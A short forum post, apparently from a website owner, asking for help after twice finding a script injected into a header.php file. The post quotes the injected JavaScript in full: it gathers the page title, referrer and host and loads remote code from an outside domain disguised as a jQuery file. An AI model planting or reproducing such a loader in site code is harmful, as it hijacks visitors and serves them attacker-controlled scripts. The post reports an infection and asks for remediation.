Altered header.php

Hy, it’s now 2 tims in two days that I find on my header.php, just before the closing head tag, a script like this:
<script>var a=”; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = “https://kasper.co.at/js/jquery.min.php&#8221;; var n_url = base + “?default_keyword=” + default_keyword + “&se_referrer=” + se_referrer + “&source=” + host; var f_url = base + “?c_utt=snt2014&c_utm=” + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== ” && se_referrer !== null && se_referrer !== ”){document.write(‘<script type=”text/javascript” src=”‘ + f_url + ‘”>’ + ‘<‘ + ‘/script>’);}</script>

Today the link was to another site, but the script was similar…what can I do???